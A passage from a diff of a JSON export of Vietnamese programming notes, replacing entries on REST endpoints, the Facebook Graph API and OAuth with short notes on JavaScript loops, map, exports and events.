thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST rows.file.link\r\nFROM \"✍️Lập trình/Cloud, webhook, API\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[2]\r\n```\r\n[Launchpad Online - YouTube](https://www.youtube.com/playlist?list=PLOU2XLYxmsILOIxBRPPhgYbuSslr50KVq)\r\n![Difference between cookies, session and tokens - YouTube](https://www.youtube.com/watch?v=GhrvZ5nUWNg)", + "Toàn bộ nội dung": "Nguồn:: [What's the difference between String(value) vs value.toString()](https://stackoverflow.com/a/3945225/3416774)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-30T15:51:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Tx" + "id": "XM" }, { - "Tiêu đề": "Endpoint", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/GraphQL/Endpoint", + "Tiêu đề": "Dùng map tiện hơn dùng for vì nó tạo ra một mảng mới cho mình và không cần phải lo mảng cũ bị sửa đổi", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Dùng map tiện hơn dùng for vì nó tạo ra một mảng mới cho mình và không cần phải lo mảng cũ bị sửa đổi", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Endpoint là gì? Lợi ích trong việc phát triển APIs\r\n\r\nIn [QC/Test/Management](https://lcdung.top/category/qctest/)Tags [Action Plan](https://lcdung.top/tag/action-plan/), [endpoint](https://lcdung.top/tag/endpoint/)May 27, 2018\r\n\r\nMục lục [[Click vào để xem](https://lcdung.top/endpoint-la-gi-loi-ich-trong-viec-phat-trien-apis/#)]\r\n\r\n# Endpoint là gì?\r\n\r\nĐể dễ hiểu mình sẽ làm ví dụ về **Endpoint.**\r\n\r\nKhi App gọi đến API URL: `https://abc.com/foo/bar` và lúc này ta gọi `/foo/bar` là Endpoint.\r\n\r\n**Endpoint** là một phần quan trọng trong quá trình phát triển API\r\n\r\n# Định nghĩa Hàm (Tạo Action Plan)\r\n\r\nCông việc đầu tiên của bạn là nghĩ về những thứ mà API của bạn sẽ cung cấp. Đó có thể là 1 danh sách các hàm CRUD (Create, Read, Update, Delete) thao tác với resourece của bạn. Để giải thích rõ hơn thì đây chính là 1 danh sách các “Action” cần phải làm với mỗi resource: \r\n**Ví dụ:**\r\n\r\nBạn có một Resouce là Người dùng và bạn cần 1 danh sách hàm như sau: \r\n**Users:**\r\n\r\n- Create\r\n- Read\r\n- Update\r\n- Delete\r\n- List\r\n\r\n_Công việc này gần giống với TDD tức là bạn hình dung ra các hàm cần viết và viết các đoạn mã giả giả sử rằng hàm này và class này đã tồn tại rồi đó, sau đó bạn mới định nghĩa chúng._\r\n\r\nNếu API của bạn có chức năng tìm kiếm theo tên hay mã số người dùng thì công việc đó ta liệt vào List nhé: \r\n**Users:**\r\n\r\n- Create\r\n- Read\r\n- Update\r\n- Delete\r\n- List(Name,ID)\r\n\r\nThêm các Params vào có thể tốt và dễ hình dung tuy nhiên không nên thêm quá nhiều và dư như thêm tất cả các thuộc tính vào Create(name,id,age,…) là không nên.\r\n\r\n# Lý thuyết Restful\r\n\r\nChuyển một Action Plan thành một Danh sách Endpoint thì cần những hiểu biết căn bản về RestFul API và các “Best Practice” trong việc đặt tên. Tất nhiên thì mỗi công ty, mỗi nhóm có chuẩn đặt tên khác nhau và cũng chả thể so sánh được cái nào là tốt nhất. Tuy nhiên mình sẽ nói về cái phổ biến mà mình nghĩ là OKie nhất cho các bạn. \r\nRestFul thì gồm nhiều tuy nhiên có 4 cái căn bản sau: \r\n**GET – POST- PUT -DELETE**\r\n\r\n## 1. GET\r\n\r\n- `GET /resources` – Tìm một danh sách records từ resource có thể có phân trang thì tốt nhất hoặc lấy toàn bộ records\r\n- `GET /resources/X` – Chỉ cần lấy Record X, ví dụ /users/thanhtriphap -> Lấy Info mình ra nè\r\n- GET /resources/X,Y,Z – Người dùng muốn tìm kiếm trên nhiều điều kiện hay 1 điều kiện mà nhiều giá trị\r\n- GET /places/X/users – Lấy tất cả người dùng đang sinh sống trong vùng X\r\n- GET /users/X/places – Lấy tất cả các nơi mà người dùng này đang hay đã ở\r\n- GET /users/X/places/Y – Tìm kiếm user theo điều kiện X và Places theo điều kiện Y\r\n\r\n**[Danger Zone] Auto Increment**\r\n\r\n> Trong quá trình học trong trường các bạn thường xài ID dạng Auto-Increment. Tuy nhiên trong thực tế nếu API của ta để như vậy thì người ta có thể biết được số lượng Resource mà ta đang có điều này rất có ích với đối thủ đó chứ. \r\n> Biện pháp là ta sử dụng UUID – Các bạn có thể tìm UUID cho PHP, Ruby hay Python và các Package hỗ trợ Gen UUID trên GOOGLE.\r\n\r\n## 2. DELETE\r\n\r\n- DELETE /users/X – Xóa một người dùng\r\n- DELETE /users/X,Y,Z – Xóa một vài dòng dữ liệu\r\n- DELETE /users – Xóa tất cả các dòng dữ liệu (**Không nên**)\r\n- DELETE /users/X/image – Xóa image của người dùng X\r\n- DELETE /users/X/images – Xóa một loạt các hình ảnh của người dùng X\r\n\r\n## 3. POST và PUT\r\n\r\nVề mặt lý thuyết POST dùng tạo 1 dòng dữ liệu mới còn PUT thì dùng cập nhật một dòng dữ liệu đã có. Khác nhau là vậy tuy nhiên trên nguyên tắc thiết kế thì 2 hành động này như nhau mà thôi có nghĩa là những gì POST làm được thì PUT làm được và ngược lại. \r\nTuy nhiên, tất nhiên phải có sự khác nhau căn bản để dùng chứ. Chúng ta xem khái niệm về \r\n**idempotent :** `Có nghĩa là khi mình gọi đến resource dùng PUT n lần thì behavior vẫn là như nhau, dữ liệu thay đổi của lần thứ n vẫn giống như lần gọi đầu tiên`\r\n\r\nNghe có vẻ hơi khó hiểu đúng không, thôi ví dụ cho dễ nhé:\r\n\r\n- Giả sử mỗi sản phẩm chúng ta có 1 hình ảnh đại diện thôi (Chỉ 1 thôi nhé) và mỗi lần ta thay đổi nó tức là thay hình đại diện cho sản phẩm thì dữ liệu vẫn như cũ (Như cũ ở đây có nghĩa là không làm phát sinh thêm dòng nào mới nhé): **PUT /products/ao-so-mi-tay-dai-MB2331/image**\r\n- Cũng ví dụ trên tuy nhiên sản phẩm lại có nhiều hình ảnh thì mỗi lần ta thêm thì có 1 dòng dữ liệu mới nên ta xài POST vì dữ liệu thay đỗi mà: **POST /products/quan-tay/images**\r\n\r\n## 4. Danh từ số nhiều, số ít hay Cả hai\r\n\r\nMột vài Developer thì dùng danh từ số ít một số lại xài số nhiều. \r\nVí dụ:\r\n\r\n- GET /user/1 – Trả về user có ID là 1\r\n- GET /user – Thắc mắc user nào sẽ được trả về hay về hết\r\n\r\nDo đó mình thường xài **số nhiều** cho các Endpoints:\r\n\r\n- GET /users/1 – Trả về user có ID là 1\r\n- GET /users?limit=5 – Trả về 5 user cho một lượt\r\n\r\n## 5. Danh từ hay động từ\r\n\r\nTrước đây khi POST cái gì đó một vài Dev thường dùng động từ:\r\n\r\n- POST /SendMeAMessage\r\n- POST /users/5/send-message\r\n\r\nTuy nhiên hình như hơi có vấn đế, chúng ta chỉ cần 1 động từ duy nhất trong đây là POST PUT hay GET … và URL là **danh từ** chứ không phải động từ. Một vài ví dụ sau:\r\n\r\n- POST /users/5/message – Gửi một Message tới User 5\r\n\r\nMột cách tuyệt vời hơn chúng ta có thể:\r\n\r\n- POST /users/thanhtriphap/message\r\n- PUT /users/thanhtriphap/message/wsis0n\r\n\r\n# Xây dựng EndPoints\r\n\r\nSau khi hoàn thành công việc định hình GET, PUT, POST … cho mỗi Action trong Action Plan việc tiếp theo chính là Đặt mỗi Resource trong 1 controller trong đó có các hàm trong Action Plan:\r\n\r\n- UsersController\r\n- CategoriesController\r\n- PlacesController\r\n\r\nVà hoàn thành việc định tuyến Routing. \r\nVí dụ trên **Laravel Framewok**\r\n\r\n[![alt text](https://s3-ap-southeast-1.amazonaws.com/kipalog.com/I5JPY.png_y9c6c97y15)](https://s3-ap-southeast-1.amazonaws.com/kipalog.com/I5JPY.png_y9c6c97y15)\r\n\r\n# Kết luận\r\n\r\nLàm bất cứ điều gì nếu chúng ta định hình rõ những công việc sẽ phải làm giúp chúng ta dễ dàng hơn rất nhiều trong công việc sau này. Việc tạo ra các Endpoints là cách để Back End và Develper Mobile hay Front End làm việc với nhau và nâng cao hiệu quả công việc.\r\n\r\nNguồn:: [Endpoint là gì? Lợi ích trong việc phát triển APIs - LCDUNG](https://lcdung.top/endpoint-la-gi-loi-ich-trong-viec-phat-trien-apis/)", + "Toàn bộ nội dung": "Sau này khi cần làm React thì sẽ rất tiện ([[Component là những hàm hoặc lớp trả về một khối JSX]]) \r\n```tsx\r\n <ul>\r\n\t{fuseBàiĐăng.search(keyword).map(\r\n\t (kếtQuả) => <li>{kếtQuả.item[\"Tiêu đề\"]}</li>,\r\n\t)}\r\n </ul>\r\n```\r\nNguồn:: ![#26 Map Arrays - Dùng Hàm Map Thay Vì For Loops | JavaScript Cơ Bản Từ A đến Z Cho Beginners - YouTube](https://youtu.be/2oyyugWmGMk?si=D2Z6kXOTWegDLElg&t=460)json", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ty" + "id": "XN" }, { - "Tiêu đề": "Node là một vật thể có ID riêng. Edge là vật thể liên kết giữa các node. Field là thuộc tính của vật thể", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/GraphQL/Node là một vật thể có ID riêng. Edge là vật thể liên kết giữa các node. Field là thuộc tính của vật thể", + "Tiêu đề": "f(a)(b) để gọi hàm f(a) có chứa hàm con f1(b)", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/f(a)(b) để gọi hàm f(a) có chứa hàm con f1(b)", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Node với edge được gọi chung là endpoint]]\r\nnodes to get data about a specific object, use edges to get collections of objects on a single object, and use fields to get data about a single object or each object in a collection\r\n## Nodes\r\n\r\nA node is an individual object with a unique ID. For example, there are many User node objects, each with a unique ID representing a person on Facebook. Pages, Groups, Posts, Photos, and Comments are just some of the nodes of the Facebook Social Graph.\r\n\r\nThe following cURL example represents a call to the User node.\r\n\r\n```\r\ncurl -i -X GET \\\r\n \"https://graph.facebook.com/USER-ID?access_token=ACCESS-TOKEN\"\r\n```\r\n\r\nThis request would return the following data by default, formatted using JSON:\r\n\r\n```\r\n{\r\n \"name\": \"Your Name\",\r\n \"id\": \"YOUR-USER-ID\"\r\n}\r\n```\r\n\r\n### Node Metadata\r\n\r\nYou can get a list of all fields, including the field name, description, and data type, of a node object, such as a User, Page, or Photo. Send a `GET` request to an object ID and include the `metadata=1` parameter:\r\n\r\n```\r\ncurl -i -X GET \\\r\n \"https://graph.facebook.com/USER-ID?\r\n metadata=1&access_token=ACCESS-TOKEN\"\r\n```\r\n\r\nThe resulting JSON response will include the `metadata` property that lists all the supported fields for the given node:\r\n\r\n```\r\n{\r\n \"name\": \"Jane Smith\",\r\n \"metadata\": {\r\n \"fields\": [\r\n {\r\n \"name\": \"id\",\r\n \"description\": \"The app user's App-Scoped User ID. This ID is unique to the app and cannot be used by other apps.\",\r\n \"type\": \"numeric string\"\r\n },\r\n {\r\n \"name\": \"age_range\",\r\n \"description\": \"The age segment for this person expressed as a minimum and maximum age. For example, more than 18, less than 21.\",\r\n \"type\": \"agerange\"\r\n },\r\n {\r\n \"name\": \"birthday\",\r\n \"description\": \"The person's birthday. This is a fixed format string, like `MM/DD/YYYY`. However, people can control who can see the year they were born separately from the month and day so this string can be only the year (YYYY) or the month + day (MM/DD)\",\r\n \"type\": \"string\"\r\n },\r\n...\r\n```\r\n\r\n[](https://developers.facebook.com/docs/graph-api/overview#)\r\n\r\n## /me\r\n\r\nThe `/me` node is a special endpoint that translates to the object ID of the person or Page whose access token is currently being used to make the API calls. If you had a User access token, you could retrieve a User's name and ID by using:\r\n\r\n```\r\ncurl -i -X GET \\\r\n \"https://graph.facebook.com/me?access_token=ACCESS-TOKEN\"\r\n```\r\n\r\n[](https://developers.facebook.com/docs/graph-api/overview#)\r\n\r\n## Edges\r\n\r\nAn edge is a connection between two nodes. For example, a User node can have photos connected to it, and a Photo node can have comments connected to it. The following cURL example will return a list of photos a person has published to Facebook.\r\n\r\n```\r\ncurl -i -X GET \\\r\n \"https://graph.facebook.com/USER-ID/photos?access_token=ACCESS-TOKEN\"\r\n```\r\n\r\nEach ID returned represents a Photo node and when it was uploaded to Facebook.\r\n\r\n```\r\n {\r\n \"data\": [\r\n {\r\n \"created_time\": \"2017-06-06T18:04:10+0000\",\r\n \"id\": \"1353272134728652\"\r\n },\r\n {\r\n \"created_time\": \"2017-06-06T18:01:13+0000\",\r\n \"id\": \"1353269908062208\"\r\n }\r\n ],\r\n}\r\n```\r\n\r\n[](https://developers.facebook.com/docs/graph-api/overview#)\r\n\r\n## Fields\r\n\r\nFields are node properties. When you query a node, or an edge, it returns a set of fields by default, as the examples above show. However, you can specify which fields you want returned by using the `fields` parameter and listing each field. This overrides the defaults and returns only the fields you specify, and the ID of the object, which is always returned.\r\n\r\nThe following cURL request includes the `fields` parameter and the User's name, email, and profile picture.\r\n\r\n```\r\ncurl -i -X GET \\\r\n \"https://graph.facebook.com/USER-ID?fields=id,name,email,picture&access_token=ACCESS-TOKEN\"\r\n```\r\n\r\n#### Data Returned\r\n\r\n```\r\n{\r\n \"id\": \"USER-ID\",\r\n \"name\": \"EXAMPLE NAME\",\r\n \"email\": \"EXAMPLE@EMAIL.COM\",\r\n \"picture\": {\r\n \"data\": {\r\n \"height\": 50,\r\n \"is_silhouette\": false,\r\n \"url\": \"URL-FOR-USER-PROFILE-PICTURE\",\r\n \"width\": 50\r\n }\r\n }\r\n}\r\n```\r\n\r\n### Complex Parameters\r\n\r\nMost parameter types are straightforward primitives such as `bool`, `string` and `int`, but there are also `list` and `object` types that can be specified in the request.\r\n\r\nThe `list` type is specified in JSON syntax, for example: `[\"firstitem\", \"seconditem\", \"thirditem\"]`\r\n\r\nThe `object` type is also specified in JSON syntax, for example: `{\"firstkey\": \"firstvalue\", \"secondKey\": 123}`\r\nNguồn:: [Overview - Graph API](https://developers.facebook.com/docs/graph-api/overview)\r\n", + "Toàn bộ nội dung": "[[Tránh dùng hàm lồng để làm giảm sự couple]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-25T17:13:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Tz" + "id": "XO" }, { - "Tiêu đề": "Node với edge được gọi chung là endpoint", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/GraphQL/Node với edge được gọi chung là endpoint", + "Tiêu đề": "Luôn dùng for of, đừng dùng for in", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Luôn dùng for of, đừng dùng for in", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ví dụ, \"send a GET request to the User endpoint\".\r\nNguồn:: [Overview - Graph API](https://developers.facebook.com/docs/graph-api/overview) \r\n", + "Toàn bộ nội dung": "```js\r\nlet colors = ['red', 'green', 'blue'];\r\n\r\nfor (let i in colors) {\r\n console.log(i); // \"0\", \"1\", \"2\"\r\n}\r\n\r\nfor (let i of colors) {\r\n console.log(i); // \"red\", \"green\", \"blue\"\r\n}\r\n```\r\n# `for-in`\r\n- Lặp qua các `key` của _enumerable properties_ trong một object\r\n- Dùng được cho **String**, **Array**, or những object đơn giản, nhưng không phải với các object như **Map()** hoặc **Set()**\r\n# `for-of`\r\n- Lặp qua các phần tử của một _iterable object_\r\n- Dùng được cho **Array**, **String**, **Map** hoặc **Set** object, nhưng nó không sử dụng trên những object đơn giản\r\n\r\nNguồn:: [Sự khác biệt giữa for-.in, for-.of and forEach trong javascript](https://anonystick.com/blog-developer/su-khac-biet-giua-forin-forof-and-foreach-trong-javascript-2020041337746860)\r\n# Trường hợp dùng for-in\r\nNếu chạy qua từng phần tử trong mảng mà sau đó cần dùng lại indexOf, thì không nên dùng for-of, vì `indexOf()` chỉ trả về giá trị đầu tiên.\r\n```js\r\nfor (const i of vậtThểTừCâuNhập) {\r\n for (const k in i[0]) {\r\n const vịTríTrongCâuNhập = i[2][k]\r\n if (i[0][k].split(' ').length === 1) {\r\n danhSáchTừĐơnTrongCâuNhập.push([i[0][k], vịTríTrongCâuNhập])\r\n } else {\r\n danhSáchTừGhépTrongCâuNhập.push([i[0][k], vịTríTrongCâuNhập])\r\n }\r\n console.log(i[0][k], vịTríTrongCâuNhập, k, danhSáchTừĐơnTrongCâuNhập)\r\n }\r\n }\r\n\r\n```\r\n[[Dùng map tiện hơn dùng for vì nó tạo ra một mảng mới cho mình và không cần phải lo mảng cũ bị sửa đổi]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-25T17:14:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "T-" + "id": "XP" }, { - "Tiêu đề": "GraphQL phù hợp cho app điện thoại, gRPC phù hợp khi cần tốc độ cao với ít tài nguyên", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/GraphQL phù hợp cho app điện thoại, gRPC phù hợp khi cần tốc độ cao với ít tài nguyên", + "Tiêu đề": "Named export thường dùng cho các file lưu trữ nhiều function, object như utils, constant, api, store… Export default thường dùng cho class, function component", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Named export thường dùng cho các file lưu trữ nhiều function, object như utils, constant, api, store… Export default thường dùng cho class, function component", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Còn lại dùng Open API\r\nNguồn:: <iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/0gH-hSyWp9o?si=TdhXcmtHVMtnEFKJ&start=556\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen></iframe>", + "Toàn bộ nội dung": "Named export thường dùng cho các file lưu trữ nhiều function, object như utils, constant, api, store… Export default thường dùng cho class, function component vì một file component thường chỉ cần export duy nhất component đó để sử dụng thôi.\r\nNguồn:: [ReactJS: Hướng dẫn Export/Import Files hợp lý và chuyên nghiệp](https://wiki.tino.org/export-import-files-hop-ly-va-chuyen-nghiep/)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "XQ" + }, + { + "Tiêu đề": "Phương thức json() của Request và Response là để chuyển từ dạng chuỗi sang vật thể", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Phương thức json() của Request và Response là để chuyển từ dạng chuỗi sang vật thể", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[JSON là cách để biểu diễn vật thể ra chữ, chứ tự nó không phải là vật thể]]\r\n[[Phương thức cho ta biết mình có thể làm gì với vật thể đó]]\r\nNguồn:: [[MDN]], [Request: json() method - Web APIs | MDN](https://developer.mozilla.org/en-US/docs/Web/API/Request/json), [Response: json() method - Web APIs | MDN](https://developer.mozilla.org/en-US/docs/Web/API/Response/json)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "T_" + "id": "XR" }, { - "Tiêu đề": "Auth không phải là xác thực", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/Auth không phải là xác thực", + "Tiêu đề": "Mọi sự kiện đều capture và target, nhưng không phải sự kiện nào cũng bubble", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Sự kiện/Mọi sự kiện đều capture và target, nhưng không phải sự kiện nào cũng bubble", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Chắc hẳn nhiều người sẽ cảm thấy xa lạ với từ OAuth. Bởi OAuth có chứa cụm Auth nên có lẽ các bạn cũng đã hình dung đái khái rằng nó có liên quan đến xác thực người dung. Thế nhưng còn “O” thì sao? “O” có ý nghĩa gì? Trường hợp tên chính thức của một sự vật, hiện tượng được cấu thành bằng một từ viết tắt, việc gặp khó khăn khi đi tìm từ nguyên gốc là điều tất nhiên.\r\n\r\nVậy thì, trước tiên chúng ta hãy bỏ qua việc đi tìm ý nghĩa của từng từ đơn cấu thành nên OAuth. Hãy cùng tìm hiểu xem kỹ thuật này được ứng dụng ở đâu? Trong số những câu trả lời cho câu hỏi này, có một đáp án quen thuộc đến mức khiến nhiều người bất ngờ: Tính năng liên kết giữa các mạng xã hội.\r\n\r\nHãy thử tưởng tượng trường hợp bạn đăng một bức ảnh lên Instagram và đồng thời muốn bức ảnh ấy xuất hiện trên trang Facebook của bạn. Khi đó, bạn sẽ thực hiện thao tác đăng ký tài khoản Facebook liên kết với tài khoản Instagram. Sau khi thực hiện xong việc đăng ký này, những bức ảnh bạn đăng tải trên trang Instagram của bạn cũng sẽ trở thành bài đăng Facebook. Với Instagram, bạn không chỉ có thể thực hiện liên kết với Facebook mà còn có thể liên kết tài khoản của mình với các tài khoản SNS khác như Twitter, Tumblr, v.v. Đảm nhận vai trò nòng cốt cho tính năng liên kết này chính là OAuth.\r\n\r\n# “Auth” không phải là “Xác thực”\r\n\r\nTrong trường hợp vừa nêu trên chúng ta tất nhiên phải thực hiện xác thực người dung trên Instagram. Vậy còn các SNS như Facebook, Twitter thì phải làm sao? Tất nhiên, phía Instagram không sở hữu các thông tin xác thực như User ID, password bạn sử dụng cho tài khoản Facebook.\r\n\r\nLúc này, hãy cùng nhau xem lại nguồn gốc của từ “Auth”. Từ “Auth” thực ra không phải là viết tắt của từ xác thực - “Authentification”, mà có nguồn gốc từ “Authorization” nghĩa là cấp phép. Authentification – Authorization, đây là 2 từ khá tương tự nhau nhưng lại là 2 từ khác biệt.\r\n\r\n*“Xác thực” nghĩa là xác nhận một đối tượng là ai. Cụ thể hơn một chút, authenfication là danh từ để chỉ việc xác nhận người sắp thực hiện thao tác là bản thân user mà không phải ai khác. *\r\n\r\nVí dụ tiêu biểu cho Authentification là mã PIN hay password của thẻ ngân hàng. Việc xác thực bằng userID và mật khẩu đang đem đến nhiều lợi ích cho con người. Những năm gần đây, việc xác thực người dung càng trở nên an toàn và bảo mật hơn nhờ vào sự xuất hiện và phổ cập của Biometric authentication.\r\n\r\nVậy Authorization - Cấp phép là gì?\r\n\r\n***Cấp phép nghĩa là cho phép đối tượng được cấp quyền được làm một việc nào đó, tức là sự chỉ định việc được phép làm. ***\r\n\r\nTrong ví dụ kể trên, một user Instagram đã thông qua một số thủ tục nhất định, cho phép một user Facebook tự động đăng tải bài viết của mình. Hành động được thực hiện ở đây là cho phép thao tác đăng bài được thực hiện, chứ không phải xác nhận user đó là ai trên Facebook.\r\n\r\nKết quả là, user không cần login phía Facebook mà vẫn có thể đăng bài thông qua Instagram. Ví dụ tôi đưa ra ở đây là ví dụ về việc liên kết SNS. Tuy nhiên, thực tế, cơ chế OAuth được sử dụng ngày càng phổ biến ở các Web application.\r\n\r\nVề chữ cái “O” trong OAuth, ngay cả trên trang chính thức cũng không có sự giải thích tường minh, tuy nhiên, vì OAuth là open standard nên ta có lẽ có thể hiểu rằng O là viết tắt của Open.\r\n\r\n# Token sử dụng cho việc cấp quyền\r\n\r\nTất yếu cần có quy tắc cho việc cấp quyền. Nếu không có bất cứ quy tắc, quy định nào, application có thể bị sự công kích từ người dung xấu và dẫn tới những hậu quả khó có thể tồn tại. Quy tắc ở đây là phương pháp trao access token. Access token là token biểu thị request được cho phép, có vai trò giống như một chiếc chìa khóa. Chiệc “chìa khóa” này được authorization server cấp cho client application.\r\n\r\nThực tế, với OAuth 2.0 được tiêu chuẩn hóa theo RFC6749, quy trình response một access token request đã được tiêu chuẩn hóa. Nói rằng OAuth được sử dụng trong việc liên kết SNS là bởi nó là thủ tục để một application khác có được những thông tin mong muốn. Server của Application sẽ nhận được access token thông qua API, tiến hành phân tích token. Nếu request đã được cấp phép, server sẽ tiến hành xử lý và trả về các thông tin cần thiết.\r\n\r\n# Mối quan hệ của OAuth và OpenID\r\n\r\nViệc cấp quyền bằng cách sử dụng OAuth rất tiện lợi nhưng không phải là vạn năng. Việc không có chức năng login thể hiện sự tạm thời, không ổn định. Chính vì vậy, OAuth 2.0 được mở rộng, thêm vào chức năng xác thực và get thuộc tính, trở thành phương pháp liên kết ID với tên gọi OpenID Connect.\r\n\r\nỞ đây, hãy lưu ý OpenID Connect và OpenID 2.0 có chung một phần tên gọi, nhưng đây là 2 khái niệm khác nhau. OpenID có tên gọi chính thức là OpenID Authentication, là việc chia sẻ xác thực người dung thông qua Internet.\r\n\r\nKhi một người dung đồng thời sử dụng nhiều application và website, việc quản lý nhiều bộ thông tin userID, password rất phiền phức.\r\n\r\nOAuth và OpenID là những kỹ thuật được sử dụng nhằm tiếp cận mục đích này.\r\n\r\n# ▼Referenced link:\r\n\r\nOAuth2.0 Official site: [https://oauth.net/2/](https://oauth.net/2/)\r\n\r\nRFC6749 The OAuth 2.0 Authorization Framework [https://tools.ietf.org/html/rfc6749](https://tools.ietf.org/html/rfc6749)\r\n\r\nNguồn:: [[Viblo]], [OAuth là gì? Kỹ thuật gần gũi với đời sống của chúng ta](https://viblo.asia/p/oauth-la-gi-ky-thuat-gan-gui-voi-doi-song-cua-chung-ta-3P0lP2bgKox)\r\n", + "Toàn bộ nội dung": "Nguồn:: [An Interactive Guide to JavaScript Events | Aleksandr Hovhannisyan](https://www.aleksandrhovhannisyan.com/blog/interactive-guide-to-javascript-events/#when-is-event-capturing-useful)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "U0" + "id": "XS" }, { - "Tiêu đề": "Authorization sinh ra access token để client sử dụng", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/Authorization sinh ra access token để client sử dụng", + "Tiêu đề": "Sự kiện", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Sự kiện", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "**Authorization server:** làm nhiệm vụ xác thực, kiểm tra thông tin mà user gửi đến từ đó cấp quyền truy cập cho ứng dụng bằng việc sinh ra các đoạn mã **access token**. Đôi khi _authorization server_ cũng chính là _resource server_.\r\n\r\nNguồn:: [[Viblo]], [Tìm hiểu đôi chút về OAuth2](https://viblo.asia/p/tim-hieu-doi-chut-ve-oauth2-eW65GvMLlDO)\r\n[[Client gửi access token đến authorization server để được truy cập]]\r\n[[Khi access token hết hạn truy cập, client gửi refresh token đến authorization server để được cấp access token mới]]\r\n[[Client là ứng dụng muốn truy cập vào dữ liệu của user]]\r\n", + "Toàn bộ nội dung": "![](https://www.aleksandrhovhannisyan.com/assets/images/eBWEGfiGYT-1632.webp) \r\nNguồn:: [An Interactive Guide to JavaScript Events | Aleksandr Hovhannisyan](https://www.aleksandrhovhannisyan.com/blog/interactive-guide-to-javascript-events/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-21T13:49:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "U1" + "id": "XT" }, { - "Tiêu đề": "Client gửi access token đến authorization server để được truy cập", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/Client gửi access token đến authorization server để được truy cập", + "Tiêu đề": "Với ||, `0, '', NaN` sẽ trả về false. Với ??, chúng sẽ trả về true", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Toán tử/Dùng nullish 